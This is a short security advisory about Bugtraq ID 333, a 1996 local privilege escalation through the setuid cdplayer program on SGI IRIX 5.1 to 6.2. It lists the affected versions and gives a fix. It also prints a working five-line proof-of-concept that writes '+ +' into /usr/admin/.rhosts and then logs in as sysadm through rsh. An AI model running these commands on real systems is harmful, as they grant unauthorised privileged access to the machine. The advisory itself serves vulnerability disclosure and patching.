IRIX cdplayer Vulnerability

BID:333

Info

IRIX cdplayer Vulnerability

Bugtraq ID: 333
Class: Access Validation Error
CVE:
Remote: No
Local: Yes
Published: Nov 21 1996 12:00AM
Updated: Nov 21 1996 12:00AM
Credit: This vulnerability was discovered and reported to the Bugtraq mailing list by Yuri Volobuev <[email protected]> on November 21, 1996.
Vulnerable: SGI IRIX 6.2
SGI IRIX 6.1
SGI IRIX 5.3
SGI IRIX 5.2
SGI IRIX 5.1.1
SGI IRIX 5.1
Not Vulnerable:

Exploit / POC

IRIX cdplayer Vulnerability

umask 000
cdplayer -dbcdir /usr/admin/
echo "+ +" > /usr/admin/.rhosts
chown root.sys /usr/admin/.rhosts
rsh localhost -l sysadm

Solution / Fix

IRIX cdplayer Vulnerability

Solution:
A short term solution is to remove the setuid bit from the application.

Patches are available at http://support.sgi.com

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